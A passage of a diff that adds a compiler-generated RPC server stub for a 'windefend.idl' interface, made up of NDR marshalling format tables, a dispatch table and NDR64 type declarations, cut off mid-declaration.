0x5c, /* FC_PAD */ +/* 4320 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4322 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4324 */ + 0x12, 0x8, /* FC_UP [simple_pointer] */ +/* 4326 */ + 0x25, /* FC_C_WSTRING */ + 0x5c, /* FC_PAD */ +/* 4328 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4330 */ NdrFcShort( 0x10 ), /* 16 */ +/* 4332 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4334 */ NdrFcShort( 0x0 ), /* Offset= 0 (4334) */ +/* 4336 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 4338 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 4340 */ NdrFcShort( 0xffbc ), /* Offset= -68 (4272) */ +/* 4342 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4344 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 4346 */ NdrFcShort( 0x2 ), /* Offset= 2 (4348) */ +/* 4348 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4350 */ NdrFcShort( 0x2 ), /* Offset= 2 (4352) */ +/* 4352 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 4354 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4356 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 4358 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4360 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4362 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 4364 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 4366 */ NdrFcShort( 0x2 ), /* Offset= 2 (4368) */ +/* 4368 */ + 0x12, 0x0, /* FC_UP */ +/* 4370 */ NdrFcShort( 0x6e ), /* Offset= 110 (4480) */ +/* 4372 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4374 */ NdrFcShort( 0x10 ), /* 16 */ +/* 4376 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4378 */ NdrFcShort( 0x6 ), /* Offset= 6 (4384) */ +/* 4380 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 4382 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 4384 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4386 */ NdrFcShort( 0xf148 ), /* Offset= -3768 (618) */ +/* 4388 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 4390 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4392 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 4394 */ NdrFcShort( 0x10 ), /* 16 */ +/* 4396 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 4398 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 4402 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4404 */ + 0x12, 0x0, /* FC_UP */ +/* 4406 */ NdrFcShort( 0xffde ), /* Offset= -34 (4372) */ +/* 4408 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4410 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 4412 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4414 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 4416 */ NdrFcShort( 0x14 ), /* 20 */ +/* 4418 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 4420 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 4424 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4426 */ + 0x12, 0x0, /* FC_UP */ +/* 4428 */ NdrFcShort( 0xffc8 ), /* Offset= -56 (4372) */ +/* 4430 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4432 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4434 */ NdrFcShort( 0x28 ), /* 40 */ +/* 4436 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4438 */ NdrFcShort( 0xc ), /* Offset= 12 (4450) */ +/* 4440 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4442 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4444 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4446 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 4448 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4450 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4452 */ NdrFcShort( 0xffc0 ), /* Offset= -64 (4388) */ +/* 4454 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4456 */ NdrFcShort( 0xffd2 ), /* Offset= -46 (4410) */ +/* 4458 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 4460 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4462 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 4464 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4466 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 4468 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 4472 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4474 */ + 0x12, 0x0, /* FC_UP */ +/* 4476 */ NdrFcShort( 0xffd4 ), /* Offset= -44 (4432) */ +/* 4478 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4480 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4482 */ NdrFcShort( 0x18 ), /* 24 */ +/* 4484 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4486 */ NdrFcShort( 0x8 ), /* Offset= 8 (4494) */ +/* 4488 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4490 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 4492 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 4494 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4496 */ NdrFcShort( 0xffda ), /* Offset= -38 (4458) */ +/* 4498 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 4500 */ NdrFcShort( 0x2 ), /* Offset= 2 (4502) */ +/* 4502 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4504 */ NdrFcShort( 0x24 ), /* Offset= 36 (4540) */ +/* 4506 */ + 0x1d, /* FC_SMFARRAY */ + 0x0, /* 0 */ +/* 4508 */ NdrFcShort( 0x10 ), /* 16 */ +/* 4510 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 4512 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4514 */ NdrFcShort( 0x38 ), /* 56 */ +/* 4516 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4518 */ NdrFcShort( 0x0 ), /* Offset= 0 (4518) */ +/* 4520 */ 0x8, /* FC_LONG */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 4522 */ 0x0, /* 0 */ + NdrFcShort( 0xee65 ), /* Offset= -4507 (16) */ + 0x8, /* FC_LONG */ +/* 4526 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 4528 */ NdrFcShort( 0xffea ), /* Offset= -22 (4506) */ +/* 4530 */ 0x8, /* FC_LONG */ + 0x2, /* FC_CHAR */ +/* 4532 */ 0x3d, /* FC_STRUCTPAD1 */ + 0x6, /* FC_SHORT */ +/* 4534 */ 0x6, /* FC_SHORT */ + 0x6, /* FC_SHORT */ +/* 4536 */ 0x6, /* FC_SHORT */ + 0x3e, /* FC_STRUCTPAD2 */ +/* 4538 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4540 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 4542 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4544 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 4546 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4548 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 4550 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 4554 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4556 */ + 0x12, 0x0, /* FC_UP */ +/* 4558 */ NdrFcShort( 0xffd2 ), /* Offset= -46 (4512) */ +/* 4560 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4562 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4564 */ NdrFcShort( 0x2 ), /* Offset= 2 (4566) */ +/* 4566 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 4568 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4570 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 4572 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4574 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4576 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 4578 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 4580 */ NdrFcShort( 0x2 ), /* Offset= 2 (4582) */ +/* 4582 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4584 */ NdrFcShort( 0x2 ), /* Offset= 2 (4586) */ +/* 4586 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 4588 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4590 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 4592 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 4594 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4596 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ + + 0x0 + } + }; + +static const NDR_RUNDOWN RundownRoutines[] = + { + 0 + }; + + +static const unsigned short DefaultIfName_FormatStringOffsetTable[] = + { + 0, + 54, + 102, + 162, + 236, + 286, + 342, + 428, + 484, + 540, + 596, + 644, + 700, + 750, + 806, + 862, + 918, + 974, + 1030, + 1086, + 1136, + 1184, + 1246, + 1308, + 1370, + 1426, + 1482, + 1544, + 1600, + 1656, + 1706, + 1766, + 1832, + 1898, + 1958, + 2008, + 2064, + 2114, + 2174, + 2240, + 2294, + 2338, + 2386, + 2440, + 2494, + 2554, + 2626, + 2698, + 2752, + 2802, + 2852, + 2908, + 2964, + 3020, + 3082, + 3132, + 3192, + 3252, + 3312, + 3374, + 3436, + 3486, + 3566, + 3628, + 3714, + 3770, + 3832, + 3882, + 3932, + 3988, + 4044, + 4094, + 4150, + 4206, + 4256, + 4304, + 4354, + 4404, + 4460, + 4510, + 4572, + 4628, + 4678, + 4726, + 4774, + 4816, + 4876, + 4930, + 4980, + 5036, + 5086, + 5136, + 5192, + 5242, + 5292, + 5360, + 5416, + 5466, + 5522, + 5590, + 5640, + 5688, + 5736, + 5808, + 5862, + 5916, + 5976, + 6038, + 6086, + 6128, + 6176, + 6224, + 6266, + 6332, + 6380, + 6440, + 6494, + 6548, + 6608, + 6662, + 6724, + 6786, + 6836, + 6886, + 6942, + 7002, + 7050, + 7104, + 7158, + 7206, + 7260, + 7302, + 7344, + 7404, + 7452, + 7500, + 7592, + 7646, + 7688, + 7742, + 7784, + 7826, + 7886, + 7928, + 7994, + 8066, + 8108, + 8156, + 8228, + 8276, + 8324, + 8372, + 8420, + 8480, + 8528, + 8594, + 8678, + 8744, + 8810, + 8870, + 8948, + 9008, + 9068, + 9164, + 9242, + 9308, + 9398, + 9470, + 9542, + 9602, + 9662, + 9710, + 9794, + 9860, + 9908, + 9962, + 10010, + 10058, + 10112, + 10202, + 10292, + 10394, + 10448, + 10502, + 10550, + 10604, + 10652, + 10706, + 10766, + 10820, + 10880, + 10928, + 10982, + 11036, + 11090, + 11138, + 11194, + 11236, + 11308, + 11380, + 11440, + 11500, + 11554, + 11602, + 11650, + 11698, + 11746, + 11800, + 11884, + 11974, + 12022, + 12076, + 12124, + 12214, + 12262, + 12316, + 12364, + 12430, + 12490, + 12544, + 12586, + 12652, + 12712, + 12778, + 12838, + 12886, + 12940, + 13000, + 13048, + 13102, + 13150, + 13198, + 13270, + 13324, + 13380, + 13434 + }; + + +static const RPC_DISPATCH_FUNCTION DefaultIfName_table[] = + { + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + NdrServerCall2, + 0 + }; +static const RPC_DISPATCH_TABLE DefaultIfName_v2_0_DispatchTable = + { + 236, + (RPC_DISPATCH_FUNCTION*)DefaultIfName_table + }; + + +#endif /* defined(_M_AMD64)*/ + + + +/* this ALWAYS GENERATED file contains the RPC server stubs */ + + + /* File created by MIDL compiler version 8.01.0628 */ +/* at Mon Jan 18 19:14:07 2038 + */ +/* Compiler settings for windefend.idl: + Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 + protocol : all , ms_ext, c_ext, robust + error checks: allocation ref bounds_check enum stub_data + VC __declspec() decoration level: + __declspec(uuid()), __declspec(selectany), __declspec(novtable) + DECLSPEC_UUID(), MIDL_INTERFACE() +*/ +/* @@MIDL_FILE_HEADING( ) */ + +#if defined(_M_AMD64) + + + +extern const NDR_RUNDOWN RundownRoutines[]; + +#if !defined(__RPC_WIN64__) +#error Invalid build platform for this stub. +#endif + + +#include "ndr64types.h" +#include "pshpack8.h" +#ifdef __cplusplus +namespace { +#endif + + +typedef +NDR64_FORMAT_CHAR +__midl_frag2368_t; +extern const __midl_frag2368_t __midl_frag2368; + +typedef +NDR64_FORMAT_CHAR +__midl_frag2367_t; +extern const __midl_frag2367_t __midl_frag2367; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2366_t; +extern const __midl_frag2366_t __midl_frag2366; + +typedef +struct _NDR64_CONFORMANT_STRING_FORMAT +__midl_frag2364_t; +extern const __midl_frag2364_t __midl_frag2364; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2363_t; +extern const __midl_frag2363_t __midl_frag2363; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag2360_t; +extern const __midl_frag2360_t __midl_frag2360; + +typedef +NDR64_FORMAT_CHAR +__midl_frag2355_t; +extern const __midl_frag2355_t __midl_frag2355; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2354_t; +extern const __midl_frag2354_t __midl_frag2354; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2353_t; +extern const __midl_frag2353_t __midl_frag2353; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2352_t; +extern const __midl_frag2352_t __midl_frag2352; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2351_t; +extern const __midl_frag2351_t __midl_frag2351; + +typedef +struct _NDR64_CONTEXT_HANDLE_FORMAT +__midl_frag2346_t; +extern const __midl_frag2346_t __midl_frag2346; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2345_t; +extern const __midl_frag2345_t __midl_frag2345; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2338_t; +extern const __midl_frag2338_t __midl_frag2338; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2333_t; +extern const __midl_frag2333_t __midl_frag2333; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag2331_t; +extern const __midl_frag2331_t __midl_frag2331; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2330_t; +extern const __midl_frag2330_t __midl_frag2330; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2329_t; +extern const __midl_frag2329_t __midl_frag2329; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2328_t; +extern const __midl_frag2328_t __midl_frag2328; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2325_t; +extern const __midl_frag2325_t __midl_frag2325; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2324_t; +extern const __midl_frag2324_t __midl_frag2324; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2323_t; +extern const __midl_frag2323_t __midl_frag2323; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag2321_t; +extern const __midl_frag2321_t __midl_frag2321; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag2316_t; +extern const __midl_frag2316_t __midl_frag2316; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2312_t; +extern const __midl_frag2312_t __midl_frag2312; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag2311_t; +extern const __midl_frag2311_t __midl_frag2311; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2307_t; +extern const __midl_frag2307_t __midl_frag2307; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag2306_t; +extern const __midl_frag2306_t __midl_frag2306; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag2305_t; +extern const __midl_frag2305_t __midl_frag2305; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_MEMPAD_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag13; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag14; + struct _NDR64_MEMPAD_FORMAT frag15; + struct _NDR64_BUFFER_ALIGN_FORMAT frag16; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag17; + } frag2; +} +__midl_frag2304_t; +extern const __midl_frag2304_t __midl_frag2304; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag2303_t; +extern const __midl_frag2303_t __midl_frag2303; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag2302_t; +extern const __midl_frag2302_t __midl_frag2302; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2301_t; +extern const __midl_frag2301_t __midl_frag2301; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2300_t; +extern const __midl_frag2300_t __midl_frag2300; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2297_t; +extern const __midl_frag2297_t __midl_frag2297; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag2291_t; +extern const __midl_frag2291_t __midl_frag2291; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag2287_t; +extern const __midl_frag2287_t __midl_frag2287; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2286_t; +extern const __midl_frag2286_t __midl_frag2286; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2285_t; +extern const __midl_frag2285_t __midl_frag2285; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2284_t; +extern const __midl_frag2284_t __midl_frag2284; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag2283_t; +extern const __midl_frag2283_t __midl_frag2283; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag2281_t; +extern const __midl_frag2281_t __midl_frag2281; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2279_t; +extern const __midl_frag2279_t __midl_frag2279; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2278_t; +extern const __midl_frag2278_t __midl_frag2278; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + } frag2; +} +__midl_frag2277_t; +extern const __midl_frag2277_t __midl_frag2277; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} 